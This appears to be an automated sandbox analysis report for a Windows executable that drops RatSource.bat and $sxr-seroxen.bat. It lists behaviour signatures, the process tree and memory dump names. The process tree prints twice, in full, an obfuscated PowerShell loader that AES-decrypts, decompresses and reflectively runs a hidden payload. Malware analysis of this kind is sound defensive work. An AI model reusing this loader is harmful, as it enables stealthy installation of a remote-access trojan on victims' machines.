Analysis
- max time kernel
14s - max time network
79s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
05/12/2022, 11:07
General
- Target 3656215897c0c1cff38accf2faa0fae4.exe
- Size 6.0MB
- Sample221205-m8dftadb74
- SHA256 0c46021aa8d5a1164ee93248ea12f42e05612006943fb9bf32d2d4fbd4a9dcbc
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Drops file in Windows directory 5 IoCs
- Suspicious behavior: EnumeratesProcesses 16 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of WriteProcessMemory 38 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3fd92cf6-022f-49d1-a40a-4ffe3bf2efc1}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{596be5c7-767c-4810-90fe-b85bbe0403cf}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{76e52312-31e9-4bc1-892e-b4e8b4c338d2}2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\3656215897c0c1cff38accf2faa0fae4.exe"C:\Users\Admin\AppData\Local\Temp\3656215897c0c1cff38accf2faa0fae4.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c "RatSource.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RatSource.bat.exe"RatSource.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $xIULa = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RatSource.bat').Split([Environment]::NewLine);foreach ($EDQLd in $xIULa) { if ($EDQLd.StartsWith(':: ')) { $Tsrbo = $EDQLd.Substring(3); break; }; };$iHSCc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Tsrbo);$iHzqZ = New-Object System.Security.Cryptography.AesManaged;$iHzqZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$iHzqZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$iHzqZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('37GhtDUBhUJKCQDSWGJVtMcidkwdpaJvQ7ajol1QBX0=');$iHzqZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('shTxxnZVVecYmjF/++9UcA==');$Ogghq = $iHzqZ.CreateDecryptor();$iHSCc = $Ogghq.TransformFinalBlock($iHSCc, 0, $iHSCc.Length);$Ogghq.Dispose();$iHzqZ.Dispose();$aRVpw = New-Object System.IO.MemoryStream(, $iHSCc);$PCOeg = New-Object System.IO.MemoryStream;$QfQDy = New-Object System.IO.Compression.GZipStream($aRVpw, [IO.Compression.CompressionMode]::Decompress);$QfQDy.CopyTo($PCOeg);$QfQDy.Dispose();$aRVpw.Dispose();$PCOeg.Dispose();$iHSCc = $PCOeg.ToArray();$bDHIt = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($iHSCc);$DiIpt = $bDHIt.EntryPoint;$DiIpt.Invoke($null, (, [string[]] ('')))3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C cd C:\Windows\ & $sxr-seroxen.bat4⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\$sxr-seroxen.bat.exe"$sxr-seroxen.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $xIULa = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Windows\$sxr-seroxen.bat').Split([Environment]::NewLine);foreach ($EDQLd in $xIULa) { if ($EDQLd.StartsWith(':: ')) { $Tsrbo = $EDQLd.Substring(3); break; }; };$iHSCc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Tsrbo);$iHzqZ = New-Object System.Security.Cryptography.AesManaged;$iHzqZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$iHzqZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$iHzqZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('37GhtDUBhUJKCQDSWGJVtMcidkwdpaJvQ7ajol1QBX0=');$iHzqZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('shTxxnZVVecYmjF/++9UcA==');$Ogghq = $iHzqZ.CreateDecryptor();$iHSCc = $Ogghq.TransformFinalBlock($iHSCc, 0, $iHSCc.Length);$Ogghq.Dispose();$iHzqZ.Dispose();$aRVpw = New-Object System.IO.MemoryStream(, $iHSCc);$PCOeg = New-Object System.IO.MemoryStream;$QfQDy = New-Object System.IO.Compression.GZipStream($aRVpw, [IO.Compression.CompressionMode]::Decompress);$QfQDy.CopyTo($PCOeg);$QfQDy.Dispose();$aRVpw.Dispose();$PCOeg.Dispose();$iHSCc = $PCOeg.ToArray();$bDHIt = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($iHSCc);$DiIpt = $bDHIt.EntryPoint;$DiIpt.Invoke($null, (, [string[]] ('')))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "3984" "2484" "2492" "2480" "0" "0" "2556" "0" "0" "0" "0" "0"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
RatSource.bat
RatSource.bat.exe
RatSource.bat.exe
$sxr-seroxen.bat
$sxr-seroxen.bat.exe
$sxr-seroxen.bat.exe
memory/616-182-0x00007FFC88D70000-0x00007FFC88D80000-memory.dmp
memory/1644-141-0x0000000140000000-0x000000014018B000-memory.dmp
memory/1644-143-0x0000000140000000-0x000000014018B000-memory.dmp
memory/1644-144-0x0000000140000000-0x000000014018B000-memory.dmp
memory/1644-150-0x0000000140000000-0x000000014018B000-memory.dmp
memory/1644-149-0x0000000140000000-0x000000014018B000-memory.dmp
memory/2160-139-0x00007FFCC8CF0000-0x00007FFCC8EE5000-memory.dmp
memory/2160-158-0x00007FFCC7E30000-0x00007FFCC7EEE000-memory.dmp
memory/2160-147-0x00007FFCC8CF0000-0x00007FFCC8EE5000-memory.dmp
memory/2160-140-0x00007FFCC7E30000-0x00007FFCC7EEE000-memory.dmp
memory/2160-148-0x00007FFCC7E30000-0x00007FFCC7EEE000-memory.dmp
memory/2160-137-0x00007FFCAAAD0000-0x00007FFCAB591000-memory.dmp
memory/2160-136-0x0000027236FC0000-0x0000027236FE2000-memory.dmp
memory/2160-155-0x00007FFCAAAD0000-0x00007FFCAB591000-memory.dmp
memory/2160-156-0x00007FFCC8CF0000-0x00007FFCC8EE5000-memory.dmp
memory/2352-163-0x0000000140000000-0x000000014018B000-memory.dmp
memory/2352-165-0x0000000140000000-0x000000014018B000-memory.dmp
memory/2352-164-0x0000000140000000-0x000000014018B000-memory.dmp
memory/3984-154-0x00007FFCAAAD0000-0x00007FFCAB591000-memory.dmp
memory/3984-180-0x00007FFCC8CF0000-0x00007FFCC8EE5000-memory.dmp
memory/3984-167-0x00007FFCC7E30000-0x00007FFCC7EEE000-memory.dmp
memory/3984-166-0x00007FFCC8CF0000-0x00007FFCC8EE5000-memory.dmp
memory/3984-168-0x0000022B54EC0000-0x0000022B54F10000-memory.dmp
memory/3984-169-0x0000022B54FD0000-0x0000022B55082000-memory.dmp
memory/3984-170-0x0000022B555E0000-0x0000022B557A2000-memory.dmp
memory/3984-171-0x00007FFCC8CF0000-0x00007FFCC8EE5000-memory.dmp
memory/3984-159-0x00007FFCC8CF0000-0x00007FFCC8EE5000-memory.dmp
memory/3984-160-0x00007FFCC7E30000-0x00007FFCC7EEE000-memory.dmp
memory/4832-174-0x0000000140000000-0x00000001402F7000-memory.dmp
memory/4832-178-0x00007FFCC8CF0000-0x00007FFCC8EE5000-memory.dmp
memory/4832-177-0x0000000140000000-0x00000001402F7000-memory.dmp
memory/4832-179-0x00007FFCC7E30000-0x00007FFCC7EEE000-memory.dmp
memory/4832-176-0x0000000140000000-0x00000001402F7000-memory.dmp
memory/4832-181-0x0000000140000000-0x00000001402F7000-memory.dmp